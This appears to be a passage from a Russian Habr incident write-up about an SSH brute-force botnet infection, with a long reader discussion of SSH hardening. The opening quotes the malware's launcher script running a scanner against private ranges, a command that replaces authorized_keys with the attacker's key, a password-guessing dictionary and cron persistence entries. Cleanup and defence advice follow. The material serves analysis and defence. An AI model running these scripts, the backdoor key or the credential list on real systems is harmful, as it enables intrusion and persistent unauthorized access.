mkdir .X19-unix
cd .X19-unix
mv /var/tmp/dota3.tar.gz dota3.tar.gz
tar xf dota3.tar.gz
sleep 3s && cd /tmp/.X19-unix/.rsync/c
nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1&
sleep 8m && nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 172.16 >> /dev/null 2>1&
sleep 20m && cd ..; /tmp/.X19-unix/.rsync/initall 2>1&
exit 0

Cкрипт установщика ssh ключа
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Так же есть упоминание ip адресов 45.9.148.129 и 45.9.148.125, находящихся в Нидерландах.


Словарь для подбора паролей — небольшой, хранится в отдельном файле.


Словарь подбора паролей
jabez jabez
admin smiles
root campbell
jawad jawad
test $$$$$$$$
root wangjianjun
sdtdserver sdtdserver
idea idea
foundry 123456
citlalli citlalli
root sensor123
info info333
kaasen kaasen
root Million2017
jakayla jakayla
edineide edineide
wikre wikre
guest edges
games nobody123
vcsa hhhhhhh
root sq
root root@1234567890
ftpuser password!
web nobody0000
root jyy
mysql chelu
charming 123456
web web1111
pscsec pscsec
root michell
louhellen louhellen
xgridagent xgridagent
alligator alligator
root subrosa
denny password
ftp 1220
rival rival
root 9i8u7y
root general1
smenes smenes
root password@1234567890
support testing
root 123asdfghjkl
smmsp 12330
root fladvert
picher picher
backup farrell
hung root2root
guest shinobu
sacre sacre123

По скриптам видно, что сам дистрибутив малвари лежит в архиве dota3.tar.gz, однако мне не удалось понять какимо образом он попадает в систему. Явной директивы скачивания файла нет. Вероятно, он подкладывается через бэкдор. Если у Вас есть идеи на этот счет, пишите в комменты.


Ланчер


В момент запуска, малварь прописывает себя в подсистему cron для текущего пользователя. В папке /var/spool/cron/crontabs/<username> можно найти файл следующего содержания


Правила cron
0 0 */3 * * /dev/shm/.lwp/.rsync/a/upd>/dev/null 2>&1
5 8 * * 0 /dev/shm/.lwp/.rsync/b/sync>/dev/null 2>&1
@reboot /dev/shm/.lwp/.rsync/b/sync>/dev/null 2>&1
0 0 */3 * * /dev/shm/.lwp/.rsync/c/aptitude>/dev/null 2>&1

в нем автоматически перезапускаются все процессы, относящиеся к зловреду.


Пора покончить с этим безобразием!


Мы получили представление о том, как ведет себя зловред. Теперь можно выстроить стратегию для очистки системы от него.


Убираем cron задачи пользователя


rm -rf /var/spool/cron/crontabs/<username>

Убиваем процессы юзера


pkill -u <username>

Убираем сохраненный ssh ключ


rm /home/<username>/.ssh/authorized_keys

Удаляем сам зловред


rm -rf /dev/shm/.lwp

Я так же рекомендую повторить команды выше дважды и полностью удалить юзера вместе с домашней папкой. При необходимости, его можно пересоздать заново.


Что делать с заблокированным IP адресом?


Я позвонил провайдеру и сообщил о проблеме, меня внимательно выслушали и порекомендовали написать об инциденте в саппорт, приложив все доступные материалы. Никаких рекомендаций по разблокировке IP мне получить не удалось. Мне порекомендовали поменять его на новый через ЛК, а старый адрес вернулся в пул доступных для других пользователей. Может быть кто-то с хабра подскажет как снять с адреса черную метку?


Какая система уязвима для подобной атаки


В сущности, любая Linux система, у которой открыт доступ к ssh и есть много пользователей. В особенности, это касается различных хостеров и облачных сервисов. Известен случай Массового заражения сервисов Azure в мае 2019


Как защититься от подобных атак?


  • Используйте безопасные пароли для всех системных пользователей
  • Установите политику паролей для пользователей системы
  • Установите fail2ban и rate limit на ssh через ufw или любой другой файрволл
  • Ограничте доступ к ssh порту списком доверенных IP адресов
  • Отключите возможность логина в shell всем пользователям, которые туда ходить не должны

UPD


  • Отключите авторизацию по паролю, оставив доступ к ssh только по ключам

Аналитика и случаи заражения похожими штаммами


AdBlock has stolen the banner, but banners are not teeth — they will be back

More
Ads

Comments 163

    +4

    А какой, собственно, смысл держать открытым 22 порт для всех внешних адресов? Какой юз кейс, так сказать?

      +9
      Юзкейс-то как раз понятен — собственно, ходить по SSH из разных мест :)

      Другой вопрос, если не использовать для SSH пароли (тем более легко подбираемые, но лучше в принципе) — в чём большая проблема?

      Сейчас посмотрел свои домашне-хоббийные сервера/роутеры — открытый в инет 22 порт обнаружился на одном VPS'е. За последнюю неделю стучались на этот порт ~5000 раз, поскольку авторизация по паролю у sshd отключена в принципе — то ожидаемо получали отлуп. Если бы fail2ban был (надо поставить, кстати) — стучались бы реже, но и так на DoS не тянет, жить не мешает.
      На других серверах и прочих железках SSH только из VPN, но даже не уверен, так ли уж это правильно, если внешний IP в принципе есть. Лишняя точка отказа: отвалился VPN — и не зайдёшь никак.

      Посоветованный ниже port knocking — лишние телодвижения и неудобства (например, я иногда по SSH с телефона на Андроиде хожу, и как тот клиент настроить, чтобы он сначала «стучался», или другой с такой фичей найти, — вообще неочевидно).
      И, опять же, зачем? Так ли уж велик в реальной жизни риск атаки через какой-нибудь 0day эксплойт sshd, который не успеет обновиться в системе раньше, чем злоумышленник использует его именно в отношении моего скромного сервера? Или страхуемся от утечки ключа ssh? Ну так кто его добудет — то с большой долей вероятности он там же подсмотрит и настройки port knocking'а или что там ещё прикручено.
        0

        Я, кстати, в termux настроил себе port knocking (скриптом на питоне) и ssh. Все очень хорошо работает.

          +1
          Я JuiceSSH использую, в настройках такого нет. Но погуглил — оказывается, у него есть плагин для этой цели. Буду иметь в виду, если всё-таки пойму, что этот port knocking реально улучшает безопасность в каком-то реалистичном сценарии и стóит с ним заморочиться.
            0
            Я считаю, что такой подход может реально улучшить безопасность только если последовательность будет относительно длинная и генерированая рандомно. Если брать что-то, что первым приходит на ум, или (боже упаси) из манов в сети — воспроизвести/угадать такую последовательность можно достаточно просто
              +3
              Вопрос в том, стóит ли вообще овчинка выделки (с любыми настройками) при условии:
              — авторизации в ssh только по ключам;
              — установки fail2ban для недопущения DoS'а и переполнения логов.

              Два пришедших в голову сценария атаки, при которых port knocking поможет, а эти две меры сами по себе нет, я выше в комментарии привёл: атака через эксплойт sshd и утечка ключа (но без информации о настройках port knocking'а).
              Мне кажется, что риск этих сценариев в реальной жизни исчезающе мал. Но было бы интересно услышать, если я ошибаюсь и ещё о чём-то не подумал.

              P.S. Ну вот разве что если речь идёт о какой-то труднообновляемой железке (роутер с прошивкой от вендора, обновления которой надо мониторить и накатывать вручную), где sshd древней версии имеет шанс залежаться надолго, — тогда, может, есть смысл перестраховаться.
                +5
                А просто сменить ssh порт с дефолта не поможет?
                  0
                  Нет, не поможет. Эта мера всего лишь оттягивает на пару недель, когда снова начнётся перебор паролей. Тоже самое относится и к другим сервисам типа RDP.
                    +1
                    Ну его в этом случае надо сначала найти и понять действительно ли на устройстве есть сервер. Я не думаю, что все эти скрипты кроме брута паролей занимаются ещё и перебором портов
                      –2

                      65к портов перебираются на раз два.
                      Это очень просто и быстро.

                        +4

                        Если только одновременно не перебираются IP-адреса.

                          +1
                          Сначала перебираются ip адреса, простым пингом, кто отвечает, у того потом и перебирают порты.
                          Переносишь на другой порт — находят быстро, отключаешь пинг, перестают находить. Есть сервера, несколько лет стоят, светят RDP, но не брутятся. Но, не все, конечно, некоторые находят все равно.
                          Но! как минимум пороль подбирает не каждый школьник.
                            0

                            отрезать себе пинг — это тоже прям очень "умно", в частности, когда будешь заниматься сетевой диагностикой

                              +1
                              С нужных адресов сервер пингуется.
                                0

                                Типичный security through obscurity (((

                                  +1
                                  Кто-то спорит?
                                  В статье и в этой ветке комментов обсуждается выставленный на весь интернет SSH и раз обсуждение зашло в сторону того, как лучше этот SSH спрятать — я поделился своим опытом.

                                  Я же не утверждаю, что применив данный способ можно забыть про фаервол или VPN, Fail2ban, авторизацию по ключам и т.д.

                    +1
                    От каких-то самых простых сканеров, может, и поможет. Но от сканеров и переход на ключи вместо паролей поможет сам по себе. А от целенаправленной атаки с использованием утекшего ключа или эксплойта — найти порт будет самой простой задачей злоумышленника.
                      +2
                      От утекшего ключа мало что поможет :)
                        0
                        Ну вот тут в комментах уже как минимум 2 варианта рассмотрели:
                        — port knocking (если настройки оного не утекли вместе с ключом);
                        — 2FA (это ещё лучше, но создаёт неудобства в повседневном использовании).

                        В зависимости от вероятности угрозы, тяжести возможных последствий, степени создаваемых неудобств, стадии развития собственной паранойи :) и пр. — можно выбрать для себя подходящее сочетание защитных мер.
                          0
                          Можно ещё ограничить пулл доступных адресов, но для этого нужен VPN (чтобы иметь доступ не только из домашней сети)
                            +1
                            … а ключ для этого VPN, вероятно, лежал там же, где и ключ для SSH, и утёк вместе с ним :)
                      0
                      Порт ssh любым сканером портов обнаруживается т.к. ssh дает конкретный ответ при запросе к его порту. Попробуйте на порт SSH зайти telnet-ом и сами все поймете.
                        0
                          +1

                          Это да, но ты пойди до него еще доберись, если там стоит какой-нибудь CHAOS+tarpit и сам ссш на высоких портах. От ботов хватает даже банального правила на DROP + перевешивания на высокий порт. А не от ботов — алерт на auth логи.

                    0
                    был плагин. чего-то не качается и не находится в маркете
                      0
                      И правда. В самой программе в меню «Плагины» такой плагин есть, но при попытке установить переходит в Маркет, а тот ругается «Item not found». Плагин опенсорсный (https://github.com/Sonelli/juicessh-portknocker), там в issue #4 обсуждается эта проблема и дали ссылку на APK.
                      В любом случае, я что-то по итогам дискуссии склоняюсь в пользу выборочного 2FA вместо port knocking…
              +2

              Черт бы с ним с юзкейсом — 100500 лет как придумали port knocker. Тот же 80,21,53 пропускают все и всегда.
              Или, если уж так нужно — то только по сертифткатам без паролей.

                +5
                У меня сразу вопрос возникает — Вы поставили НАС и не озаботились его защитой? При том, что вы даёте в конце рекомендации, как от этого защититься и по тексту статьи становится понятно, что вы в общем то далеко не домохозяйка.
                Или как всегда — пока петух не клюнет? :)
                  +6

                  И на старуху бывает порнуха.
                  Я вон клиенту наворотил защит, но при очередной манипуляции в скрипт iptables закралась запятышка. И iptables свалился в default (а я не заметил и не проверил), когда почти всё почти всем.
                  Очнулся только когда через пару месяцев хостер тонко намекнул своим сканером, что у меня открыты уж слишком уж неприличные порты.


                  А так — упавшее и быстро поднятое упавшим не считается.

                    +2

                    Просто открытые порты это еще мелочь. Вчера вот меня попросили поднять один проект из бекапа (интернет-магазин, который уже прекратил своё существование, но дабы не были нарушены права потребителей, саппорт еще осуществляется, и для этого нужен доступ к истории продаж). Так вот при попытке поднять сайт я получал некую ошибку и решил её загуглить. Как же я был удивлен, когда я в гугле нашел в открытом доступе исходники, с паролями к разным ресурсам и прочее (хостер сделал basic http-auth на порт 80, но на порту 443 по нешифрованному http-протоколу (!) было доступно содержимое всего в открытом доступе, включая папку .git и пароли). Это, к счастью, была лишь dev-версия, т.е. к продашн данным оттуда было не добраться, но показательно. Судя по всему, исходники были в открытом доступе года 3-4 и при этом постоянно актуализировались.

                    +1
                    Да случайно напоролся. Руки не дошли заткнуть юзера после добавления timemachine на него.
                    +1
                    Может быть кто-то с хабра подскажет как снять с адреса черную метку

                    Скорее всего — никак.
                    Любой удод может настучать в DNSBL или нечто подобное — и потом запаритесь доказывать, что не верблюд (особенно если нет правильного обратного резолва (а кто ж Вам его даст)).

                      +2

                      Есть ещё вменяемые провайдеры, которые дают возможность править записи ptr. Только из-за этого на домру и перешёл.

                        0
                        с работы из dnsbl чистили. Попала аж целая подсеть хостера infobox в каком-то году.
                        В общем писали заяву сами по электронке + тикет в суппорт, они тоже писали, 3 месяца ожидания и удалили подсеть из списка.
                        +7
                        По поводу как снять блокировку — в первом же сообщении статьи написано, что используется база maxmind.com. У них есть форма для коррекции сведений — support.maxmind.com/geoip-data-correction-request. Там, правда, речь про коррекцию неверной геолокации, но пишут, что рассматривают заявки вручную, так что если в комментарии кратко изложить проблему — возможно, исправят. Хотя, думаю, записи в их базе должны так или иначе сами по себе устаревать, ибо иначе половина динамических адресов рано или поздно в блэклисты попадут.

                        P.S. Ну и да, файрволл и fail2ban я сам иногда ленюсь сразу настраивать, да и 22 порт, грешен, иногда открытым оставляю, — но «PasswordAuthentication no» в sshd_config — это чуть ли не первый шаг для любой linux железки в домашнем хозяйстве.
                          0
                          С настройки файрволла надо начинать. Иначе сервер сразу же поимеют.
                            0

                            Всё верно, мой почтовик раньше влипал в базы dnsbl, в результате иногда хожу по спискам этих баз, тестирую почтовик, снимаю старые баны, проверяю на возможные уязвимости типа опенрелеев. Уже много лет никпких проблем. Самописный скрипт анализирует логи нескольких программ на попытки подбора паролей и блокируе ip (скрипт писался ДО того, как узнал про fail2ban — меня мой скрипт устраивает)

                            +8
                            В этой статье фраза «используйте вход только по ключам, запретите вход по паролям» — явно табу.
                              0

                              А какой (примерно хотя бы) пароль был? Интересно, что смогли сбрутить.

                                0
                                Да любой из словаря. Это действительно важно какой именно?
                                Словари гуглятся легко.
                                  +1
                                  По полному словарю обычно не перебирают, так как это слишком долго и сложно. Перебирается штук пять-десять самых популярных паролей для примерно такого же количества пользователей, после чего на эту конкретную систему ломиться смысл пропадает, и нужно переходить к следующему IP-адресу.
                                    0
                                    Перебирают намного глубже.
                                    В качестве теста на ~30 серверах я пробросил 22-й порт на сторонний сервер и там выставлял разного рода «словарные» пароли, наблюдая за брутфорсами.
                                    В среднем ожидание взлома пароля из списка www.iau.org/public/themes/naming_stars занимало 1-3 недели.
                                    Числовой, например 6227020800 (он тоже входит в словари) около суток.
                                +2
                                Самыми первыми 2-мя действиями на любом Linux торчащем 22-м портом в интернет должны быть:
                                1 — запрет логина в SSH по паролю
                                2 — настройка входа в SSH по ключам

                                PS Чуть спокойнее когда 22 порт светится только на IPv6, там пока «тишь и гладь», но не думаю что это надолго…
                                  +2
                                  Чем ключи лучше случайно сгенерированного 20-30 символьного пароля в практическом плане?
                                    +3
                                    Как раз в практическом смысле использование ключей удобней указанием файла, в котором содержится ключ.
                                      +2

                                      Тем что пароль передается на удаленный сервер в открытом виде и если он (сервер) скомпроментирован, будет скомпроментирован и ваш пароль при логине. Если вы его используете на нескольких серверах — будет получен доступ и к ним. Если же вы генерируете пароли для каждого сервера — то в практическом плане ключ удобнее тем что он безопасно может быть один для доступа на многие сервера.

                                        +1
                                        пароль передается на удаленный сервер в открытом виде
                                        В SSH в первую очередь поднимается защищённый канал — процесс аутентификации выполняется внутри него.
                                          +2
                                          Если система скомпрометирована, то можно допустить, что на той стороне Ваш пароль перехватывается до момента аутентификации.
                                          0

                                          Ssh передаёт пароли в открытом виде???

                                            +2
                                            На сервере руту он доступен в открытом виде. При использовании одного пароля для нескольких серверов при компрометации одного сервера компрометируются все эти сервера.

                                            А вот ключ в этом отношении безопасен. Один ключ для большого количества серверов это безопасно и хорошо.
                                              +1

                                              Главное — агента не форвардить

                                                0
                                                Ключ через агента не утекает никак. Хотя авторизоваться можно.

                                                Тот кто ставит * для форварда в конфиге сам виноват. Насколько я помню в дефолтном конфиге даже коммент соответвующий есть.
                                                –3
                                                На сервере пароля нет — есть соленый хеш.
                                                  +2

                                                  Это пока вы не попытались по ssh на него зайти!

                                          0
                                          IPv6 тоже не панацея. Единственное, если дублировать на интерфейс еще один IPv6-адрес, на который повесить только SSH и ничего более.
                                            +7
                                            Я бы сменил очередность действий, а то может быть «Ой!».
                                              +1
                                              На IPv6 сканирование теряет смысл. Когда каждой домохозяйке по сути выделяют в подсеть ровно столько же бит, сколько выделено на весь остальной интернет. Отыскать в подсети /64 один единственный адрес, полученный по SLAAC или RFC4941 и который отвечает по порту 22 — слаборешаемая при нынешних скоростях в каналах задача. Будут типичными скорости десятки гигабит в секунду до массового потребителя, тогда может — да. Так что использование IPv6 везде где можно — вполне себе альтернатива VPN.
                                                0
                                                Ну это пока «каналы слабые».

                                                Ну и как бы то ни было — это не защита в полном смысле этого слова, а попытка спрятаться. Т.е. работает не со 100% вероятностью, а просто с очень большой.
                                                Но, там где важна конфиденциальность даже маленькая вероятность провала неприемлема, поэтому трудно согласиться, что IPv6 полноценная замена VPN.
                                                  +1
                                                  habr.com/ru/post/482784/#comment_21105180
                                                  На IPv6 сканирование теряет смысл.
                                                  Ну это пока «каналы слабые».
                                                  Представим ботнет, состоящий из десяти миллионов зараженных компьютеров, каждый из которых сканирует за секунду сто IP-адресов; предположим, что все компьютеры, входящие в ботнет, включены постоянно и имеют доступ к интернету и по IPv4, и по IPv6. Сканирование по одному порту (например, 22) всего адресного пространства IPv4 заняло бы у такого ботнета меньше пяти секунд. Сканирование же всего адресного пространства IPv6 заняло бы у такого ботнета время, в десять с лишним тысяч раз большее, чем миллиард миллиардов лет!
                                                    +2
                                                    Для SSH сам по себе VPN имеет мало смысла — мы ведь постулируем, что данные в сети в SSH передаются в зашифрованном виде и мы этой шифрации доверяем. Поскольку для VPN и для SSH весьма часто используются одни и те же алгоритмы, то считать что абстрактный VPN по имени XYZ дает большую безопасность по сравнению с чистым SSH некорректно. Опять таки, если мы защищаемся от ошибок сисадмина, у которого в SSH используются логины, ломаемые брутфорсом, то где гарантия того, что VPN «XYZ» у этого же админа будет настроен более правильно?
                                                    Итого чистый остаток, почему есть смысл использовать IPv6 вместо VPN в таких случаях: спрятаться от попыток перебора и брутфорса, во-первых это снижает нагрузку, что важно, если у вас не сервер с топовым Xeon, а дохлый MIPS на 300Мгц в роутере. Так что да, это в первую очередь удачная попытка спрятаться. Второе — любой VPN сильно снижает доступность хоста: ситуаций с NAT, проблем с кривым MTU и зарезанным ICMP в абстрактном Мухосранске — выше крыши, и вот уже ваш VPN просто не завелся или работает криво. С другой стороны, и IPv6 есть не везде и не всегда и не получится полагаться исключительно на него.
                                                      0
                                                      Второе — любой VPN сильно снижает доступность хоста: ситуаций с NAT, проблем с кривым MTU и зарезанным ICMP в абстрактном Мухосранске — выше крыши, и вот уже ваш VPN просто не завелся или работает криво

                                                      не преувеличивайте масштаб проблемы. L2TP/PPTP — да, могут не работать, в зависимости от провайдера. Но какой-нибудь Cisco AnyConnect — не видел еще, чтобы он не "пробивал". Ну, и VPN дополнительно решает проблему доступности сетевых ресурсов из офиса пачкой (сервера, принтеры и пр.), создавая при этом проблему маскирования ресурсов в локальной сети пользователя, если он недостаточно удачен и произошло пересечение адресов. Плюс зачастую можно запретить сплит туннелирование — это небольшой плюсик к безопасности, в первую очередь, в головах ИБшников.

                                                –9
                                                В 2020 году ssh с доступом по паролю? Вы где были все последние годы? А еще «Руководитель отдела разработки ПО»

                                                Все эти fail2ban и port knocking только жить мешают. Требуется нетривиальная настройка клиента и возможны проблемы в случае неверной настроки.
                                                С чужого планшета слазить сложно становится. А такое нужно всегда срочно и внезапно.

                                                Приватный ключ с паролем в любом облаке по вкусу. Это надежно, безопасно и доступно всегда и с любого устройства. Понятно что пароль от облака и пароль от ключа должны быть разными.
                                                  +6
                                                  Давайте не будем переходить на личности и оскорбления. Ошибки бывают у всех. Я — не исключение. Да и у крупных вендоров тоже. Например, у Microsoft азур прилег от этой же дряни в мае.
                                                    –10
                                                    Ошибка и незнание базовых принципов это разные вещи.
                                                    Я бы постыдился такое на публику выносить.

                                                    Для школьника настраивающего свой первый ssh сервер это простительно. А вот для «Руководитель отдела разработки ПО» уже нет. У вас же там сервера какие-то стоят. Инфраструктура какая-то есть. На них разработчики ходят. Админы или деопсы управляют всем этим. ssh ключи должны быть везде. Или везде пароли стоят… Тогда мне страшно за ваши сервера. Я бы вышел даже на праздниках такое срочно переделать. Разломают же все. Просто потому что могут.
                                                      +8
                                                      Дома он тоже руководитель разработки ПО?
                                                      язвительный вы какой-то.
                                                      Я бы постыдился такое на публику выносить.-у всех свои минусы, а ТС не постыдился (;
                                                        +2
                                                        Да. Или при выходе с работы память стирают?
                                                        Писать на весь мир «Я некомпетентен в своей профессиональной области». Такое себе…

                                                        Видимо поря завязывать с комментариями. Хабр становится странным. За указывание на некомпетентность человека в области которую он сам обозначил как свою профессиональную идут массовые минусы в карму. А за абсолютно неграмотную технически статью идут плюсы.
                                                        В первых 2 фразах статьи должно быть «Поставить вход по ключам. Переставить скомпрометированную систему» А дальше можно в песочнице разбираться что там наставили. На реальной скомпрометированной системе ничего чистить не в коем случае нельзя.
                                                          +1
                                                          Ну меня честно говоря это шокирует, что есть люди в IT, которые оставляют сервер с открытым всему миру 22 портом с паролем. Это просто вопрос времени когда его вскроют.
                                                          Так же как и передача паролей по мылу в clear text, авторизация с http и clear test smtp, шифрование WEP на вайфайе или вообще без шифрования, плата карточкой без cvc кода и прочие вещи из времен «дикого интернета». Я бы все таки постыдился.
                                                          Хотя может это профессиональная деформация.
                                                            0
                                                            Может расскажете за какое время взломают систему в которой 16-символьный случайный пароль (из набора в 54 — это [a-zA-Z0-9] минус похожие) на ssh?

                                                            Подсказка — это 92 бита энтропии. Мне кажется, вероятность того что найдут уязвимость и сломают с её помощью гораздо выше, но в этом случае и ключ не поможет.

                                                            Есть у меня клиент, у него 5 серверов (там wp, crm и всё такое), от ключей отказался ибо для него это сложно (сам он далек от IT, ssh фактически нужен только для работы по sftp и на тот случай если меня трамвай переедет и нужен будет доступ кому-то ещё), файрволл не канает потому что он постоянно ездит по всему миру (да, vpn для него тоже за гранью), поэтому поставил вышеупомянутые 16-ти символьные случайные пароли (благо password manager у него есть) — и математика мне подсказывает что в ближайшее тысячелетие их не сломают (даже если получат их солёные хеши, про онлайн я уже молчу).

                                                            С другой стороны, если у него на компе троянец заведётся или кто-то ручками влезет — то и ключи не спасут.

                                                            fail2ban, кстати, почти бесполезен — по моим наблюдениям, сейчас ломятся с разных адресов на одного пользователя с разными паролями (словарными, разумеется), атакующие IP повторяются в лучшем случае через сутки и делает максимум две попытки.
                                                              +3
                                                              Может расскажете за какое время взломают систему в которой 16-символьный случайный пароль (из набора в 54 — это [a-zA-Z0-9] минус похожие) на ssh?
                                                              Может подскажете сколько пользователей ставят такие пароли? Все это хорошо в теории, на практике выходит то, что у ТС случилось. Можно и пароль из миллиона симолов придумать, удачи в использовании.
                                                                0
                                                                То есть вы всё-таки согласны что правильный пароль не хуже чем ключ?

                                                                На практике это реализуется генератором паролей и проверкой сложности (и словарей) при смене (или начальном выборе) пароля.

                                                                К сожалению, в мире IT есть не только ssh, так что от паролей никуда не деться, причём доступ по ssh может быть гораздо менее опасным чем доступ к другим сервисам, куда ключи ещё не доехали.
                                                                  +3

                                                                  Правильный пароль сильно неудобнее ключа.

                                                                    +3

                                                                    Нет, пароль хуже. В том числе и для раздачи доступа другим людям. Ключами намного легче управлять и удалять с сервера когда надо закрыть кому-то доступ. Так как мы говорим только про SSH тут, то никаких паролей, только ключи.

                                                                      0
                                                                      Возможно я открою тайну, но чтобы закрыть доступ достаточно заблокировать аккаунт и тут ни ключи не пароли не нужны.
                                                                        +3
                                                                        Не всегда создается аккаунт, иногда просто временно дается доступ на существующий.
                                                                          –3
                                                                          А за такое нужно по рукам.
                                                                            +2
                                                                            Как и за половину идей в этой теме)
                                                                      0

                                                                      Первая и вторая части Вашего сообщения, ну, никак не связаны


                                                                      Ключ к ссш — намного удобнее и безопаснее, чем пароли. Та же работа с гитом, как пример. Либо ты зашиваешь пароль в настройки Гита (и он там болтается плейн текстом), либо надо тащить системную ключницу. Единственное, что реально удобно в гитлабах и прочем — это многоразовые токены (оно по сути как пароли работают).

                                                                        0
                                                                        Удобнее — кому как, моему клиенту нет, например, хотя я сам как раз использую ключи (для всех смотрящих наружу ssh, по крайней мере).

                                                                        Безопаснее — только в описанных вами случаях (git & co, т.е. случаи когда нужно избежать shared secret на другой стороне), если же речь просто про вход терминалом — то легко сделать непробиваемый и легко запоминаемый пароль с энтропией от 100 бит и выше (фраза с модификаторами — ни словарём, ни брутом не взять, при этом её даже в блокнот можно записать практически ничем не рискуя), а с точки зрения утечки/потери или маски-шоу пароль и ключ ничем не отличаются.
                                                                          +2

                                                                          Ну нет же. Ключ может храниться на неизвлекаемом носителе. Например тот же TPM. Пароль надо вводить при каждом логине на сервер, ключ может быть расшифрован один раз и храниться ssh-agent'ом. Один ключ может безопасно использоваться для входа на несколько серверов, пароль — нет. Ваш пароль передается на удаленный серевер и легко может быть извлечен рутом на сервере куда вы логинитесь (как пример — специальный pam модуль). Единственный плюс пароля — отсутствие необходимости хранить ключ.

                                                                            +3
                                                                            Я не спорю что ключ имеет преимущества, но он также имеет и недостатки (утеря или компрометация одного ключа ко многим системам та ещё песня), но всё что я хотел сказать — для сферического Васи в вакууме которому нужно просто заходить на свои один-два сервера из разных мест — совершенно непринципиально будет это хороший пароль или ключ, атакующие удаленно один пень не влезут (если не считать уязвимостей).

                                                                            К тому же, при условии что у каждого сервера уникальный пароль (как и должно быть) — возможность его извлечения несущественна, он не даст атакующему ровно ничего (он и так уже рут).

                                                                            Для кровавого (и не очень) энтерпрайза ситуация меняется — там удобства ключа проявят себя в полную мощь, но мир состоит не только из энтерпрайзов, Васей в нём довольно много.

                                                                            Есть, кстати, один интересный нюанс — с небольшой модификацией ssh-keygen ключи могут быть сгенерированы с помощью хэша от произвольного пароля (используя его как seed), таким образом позволяя всегда их «носить с собой», т.е. их можно восстановить имея только генератор (и свой супер-пароль), без необходимости хранения самих ключей.
                                                                              +1

                                                                              Очень интересный комментарий по делу, спасибо.
                                                                              Могу только добавить, что в кровавом Энтерпрайзе очень странные понятия об ИБ. Ключи запрещены, пароли разрешены, при этом есть правила по сложности паролей, их неповторяемости и ротации каждые хх дней. Выглядит в нынешние времена как дикость.
                                                                              Либо не все Энтерпрайзе одинаково полезны )))

                                                                                +2
                                                                                В ряде энтерпрайзов с которыми я имел дело СБшники мотивировали отказ от ключей сложностью отъема доступа в случае необходимости (это чуток сложнее чем сменить пароль), а также опасались «троянского» ключа — всё же в случае ssh это не так красиво как в случае «полновесной» системы с CA (хотя и он это поддерживает).

                                                                                Впрочем, в большинстве случаев в СБ находятся вовсе не специалисты в области IT безопасности, отсюда и «дикость».
                                                                                  +2

                                                                                  Театр безопасности какой-то. "Троянский" ключ возможен в любом случае, независимо от регламентов СБ. Вот они по-отключали ключи на серверах, а я включил и свой прописал. И кто мне помешает?


                                                                                  Если же за серверами следить — то внезапно оказывается, что отозвать ключ проще, чем сменить пароль: новый пароль надо ещё как-то сообщить всем, кому нужен доступ, а отозванный ключ — это просто удалённая строчка в файле.

                                                                                  +3
                                                                                  Бежать надо от такого Энтерпрайза. Они данные потеряют и тебя виновным сделают.

                                                                                  Есть же типовой сценарий: Вот тебе ноут. Диск на нем шифрован. Ключ с ноута не не выносить. Ноут бери с собой. Потерял/украли срочно пиши/звони вот сюда в любое время.
                                                            +2

                                                            Насчёт fail2ban согласен. Он скорее не помогает, а мешает. Плюс дополнительный компонент, в котором, внезапно, тоже бывают баги.
                                                            Всю защиту от брута можно сделать и настройками ssh демона, но тут надо не переборщить, чтобы случайно себе доступн не отрезать, когда будут ломать

                                                            +5
                                                            А почему бы не запретить доступ по поролям, и не использовать ключи?
                                                              0
                                                              Верное замечание, добавил к рекомендациям
                                                                +3
                                                                Это должно быть не последней рекомендацией, а самым первым правилом. Все остальное может быть рекомендациями, а запрет логина по паролю — закон.
                                                                +2

                                                                Потому что пароль можно запомнить и ввести с клавиатуры, когда находишься далеко от дома, а ключ — вряд ли.


                                                                Просто пароли надо посложнее выбирать.
                                                                  +2
                                                                  Нет, не надо выбирать пароли, надо пользоваться ключами. Мы говорим про SSH тут, а не веб логин какой-то.
                                                                    0

                                                                    А для веб логина есть связка ключей в браузере ) или где она там обычно у вас )

                                                                      –1

                                                                      "Критикуешь — предлагай", а не, как в том анекдоте, "мыши, станьте ёжиками". Вот Вам use case: нужно входить на домашний компьютер по SSH с телефона. Как Вы предлагаете "пользоваться ключами"? Запоминать многосимвольные случайные ключи? Желаю удачи. Хранить ключи на телефоне? Тогда некоторые любопытные сотрудники аэропорта автоматически имеют доступ и к Вашему компьютеру. Хранить на телефоне запароленные ключи? Тогда, когда в Вашем телефоне садится батарейка/разбивается экран/он падает в туалет, Вас ждёт ещё один неприятный сюрприз. Жду Ваших предложений.

                                                                        +1

                                                                        Ничего не понимаю.


                                                                        1. Ничего не мешает иметь по ключу на каждое устройство, с которого заходите, — потом их так проще менеджить.
                                                                        2. Ничего не мешает иметь на телефоне ключ с паролем. Сперли телефон — ну, ок, ключ-то под паролем? А на рабочей машине тот же ключ без пароля или вообще другой ключ (п.1)
                                                                        3. Пароль — ненадёжен априори. Его могут подсмотреть через плечо, может стоять кейлоггер, или что ещё.
                                                                        4. Я уж не говорю, что в идеале доступ должен быть через ВПН или промежуточный хост (proxy, bastion, jumphost)
                                                                          0

                                                                          Вы специально пропустили следующий случай, или просто не обратили внимания?


                                                                          • Ключ от домашнего компьютера на телефоне, под паролем.
                                                                          • Вы находитесь далеко от дома (напримиер, в аэропорту) и Вам очень нужно вот прямо сейчас зайти на домашний компьютер (например, потерялся посадочный талон и нужен с него код, ну или сами придумайте зачем).
                                                                          • Телефон по каким-то причинам недоступен (села батарейка, случайно уронился в унитаз и промок, украли).

                                                                          Ваши действия?

                                                                            0

                                                                            Спасибо, что повторно разъяснили.
